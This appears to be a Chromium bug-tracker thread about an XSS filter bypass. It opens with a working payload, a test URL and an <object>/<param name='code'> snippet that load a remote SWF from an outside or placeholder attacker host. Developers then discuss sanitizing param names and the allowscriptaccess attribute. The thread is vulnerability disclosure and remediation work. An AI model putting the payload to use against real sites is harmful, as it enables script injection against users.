It seems it works via the name="code" also.
http://vulnerabledoma.in/char_test?body=%3Cobject+allowscriptaccess=always%3E%3Cparam+name=code+value=https://l0.cm/xss.swf%3E

<object allowscriptaccess="always">
<param name="code" value="https://attacker/xss.swf">

Thanks for the report. Tom, could you take a look when you get a chance?

Looks like there are few more <param> cases to cover.  Thanks for the report.

I'm also going to filter the allowscriptaccess attribute in <object>, just because, even though there's enough malice that can be accomplished even without it.

https://cs.chromium.org/chromium/src/third_party/WebKit/Source/core/html/HTMLParamElement.cpp?rcl=1483446215&l=48 is where we decide which name=xxx parameters are candiates for sanitization.

https://cs.chromium.org/chromium/src/third_party/WebKit/Source/core/html/HTMLObjectElement.cpp?rcl=1483446215&l=172 has its own ideas about URL parameters. 

Mike, should we unify the two?  Have a suggestion about who else might weigh in on param element behaviour?

Mike: |allowscriptaccessAttr| token doesn't exist, can we add this to whatever IDL generates these?

Bouncing to mike to get some answers.  Pls re-assign to me afterwards.

I missed this, apologies:

1.  I don't think we handle `allowscriptaccess` in Blink today; we just hand all the params over to the plugin and let it figure out what it ought to be doing with them. Feel free to add it to `Source/core/html/HTMLAttributeNames.json5`.

2.  I think unifying the URL parameter behavior makes sense. Do you have a concrete suggestion for doing so?

Oddly enough, this came in again recently.  Doing the uncool thing of duping the old into the new, because that's where the work is happening.